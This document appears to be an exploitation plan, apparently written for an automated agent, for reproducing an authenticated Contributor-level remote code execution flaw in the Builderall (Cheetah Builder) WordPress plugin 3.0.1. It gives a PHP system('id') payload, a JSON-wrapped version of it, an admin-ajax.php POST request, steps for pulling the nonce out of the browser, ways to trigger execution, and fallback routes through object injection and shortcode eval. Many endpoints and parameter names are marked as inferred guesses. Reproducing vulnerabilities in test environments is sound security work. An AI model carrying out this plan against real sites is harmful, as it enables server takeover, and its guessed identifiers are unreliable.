Builderall for WordPress <= 3.0.1 - Authenticated (Contributor+) Remote Code Execution

Since source files for Builderall for WordPress (builderall-cheetah-for-wp) version 3.0.1 are not provided, this plan is based on the vulnerability description (Authenticated Contributor+ RCE), the CVSS vector (AV:N/AC:L/PR:L/UI:N), and common architectural patterns in WordPress page builder plugins.

Note: All identifiers marked with (inferred) must be verified by the agent during the initial discovery phase.

---

1. Vulnerability Summary

The "Builderall for WordPress" plugin (also known as Cheetah Builder) likely contains an improper code generation vulnerability. Authenticated users with Contributor-level permissions can exploit this to execute arbitrary PHP code on the server. This typically occurs because the plugin's page-building logic allows saving "custom code" blocks or server-side rendered templates without sufficient sanitization or capability checks, eventually passing user input into a dangerous sink like eval() or writing it to a .php file that is later included.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: cheetah_save_page_data or builderall_save_element (inferred).
• Payload Parameter: A JSON-encoded string or array containing page elements. Look for keys like custom_php, code, or html_content within the builder's data structure.
• Authentication: Contributor-level user (PR:L). Contributors can create and edit their own posts, which is often enough to access the page builder's save functions.
• Preconditions: The plugin must be active, and the Contributor user must have access to the Cheetah Builder interface for a post/page.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers an AJAX handler for saving page content via add_action('wp_ajax_...', ...).
2. Capability Check: The handler likely checks current_user_can('edit_posts'). Since Contributors have this capability for their own posts, they pass this check.
3. Data Processing: The handler receives a large JSON/serialized blob representing the page layout.
4. Vulnerable Sink:
   • Scenario A (Direct Eval): The builder supports "PHP Code" blocks. The content of these blocks is saved and then executed via eval() during a "preview" or "render" AJAX call.
   • Scenario B (File Write): The builder saves "custom code" into a file in wp-content/uploads/cheetah-builder/ with a .php extension. This file is then include()-ed to render the page.
5. Execution: The injected PHP code runs in the context of the web server.

4. Nonce Acquisition Strategy

The Cheetah Builder interface likely localizes a nonce for its AJAX operations.

1. Create a Test Post:
   wp post create --post_type=post --post_status=draft --post_title="Exploit Page" --post_author=[CONTRIBUTOR_ID]
2. Access the Builder: Use browser_navigate to go to the post's edit page or the specific Cheetah Builder URL: wp-admin/post.php?post=[POST_ID]&action=cheetah_builder.
3. Extract Nonce: Use browser_eval to search for localized script data.
   • Potential Variable Names: window.cheetah_vars, window.builderall_data, or window.CBAjax.
   • Execution: browser_eval("window.cheetah_vars?.nonce || window.CBAjax?.nonce") (inferred).
4. Action Name: Identify the exact AJAX action by inspecting the browser_eval("window.cheetah_vars?.action") or checking the network tab during a legitimate "Save" operation.

5. Exploitation Strategy

Phase 1: Discovery

• Identify the AJAX action used to save page data.
• Identify the parameter structure (JSON vs. POST fields).
• Locate the nonce in the browser context.

Phase 2: Payload Crafting

• Construct a payload that targets a "Custom Code" or "HTML" module.
• Payload Example (PHP Injection):

  <?php system('id'); die(); ?>
  

• If the plugin expects JSON, the payload might look like:
  {"elements":[{"type":"code_block","settings":{"code":"<?php system('id'); die(); ?>"}}]}

Phase 3: Execution (via http_request)

• Method: POST
• URL: http://[TARGET]/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=cheetah_save_page_data&nonce=[NONCE]&post_id=[POST_ID]&data=[PAYLOAD]
  

Phase 4: Triggering

• If the RCE is not immediate upon saving, trigger it by:
  1. Navigating to the post preview: ?p=[POST_ID]&preview=true.
  2. Calling a "render" AJAX action: action=cheetah_render_element&element_id=[ID].

6. Test Data Setup

1. Plugin Installation: Ensure builderall-cheetah-for-wp v3.0.1 is installed and active.
2. Contributor User:
   wp user create attacker attacker@example.com --role=contributor --user_pass=password
3. Target Post: Create a post assigned to the attacker user to ensure they have "edit" rights.

7. Expected Results

• Successful Save: The server returns a success response (e.g., {"success":true}).
• Successful Execution: The HTTP response from the trigger phase contains the output of the injected command (e.g., uid=33(www-data) gid=33(www-data)).

8. Verification Steps

1. Confirm Command Execution: Verify the id command output appears in the response body.
2. Check Filesystem (if Scenario B):
   wp eval "echo file_get_contents(wp_upload_dir()['basedir'] . '/cheetah-builder/custom-[POST_ID].php');" (inferred path).
3. Check DB: Verify the malicious payload is stored in wp_postmeta for the target post:
   wp post meta get [POST_ID] _cheetah_data (inferred key).

9. Alternative Approaches

• Shortcode Injection: If the builder uses shortcodes to store data, try injecting a [shortcode] that uses eval on its attributes.
• Serialized Object Injection: If the data parameter is passed to unserialize(), pivot to a PHP Object Injection (POI) to achieve RCE via a gadget chain in WordPress core or the plugin.
• Subscriber Access: Check if the AJAX action is registered under wp_ajax_nopriv_ or if the capability check is entirely missing, allowing Subscriber-level escalation.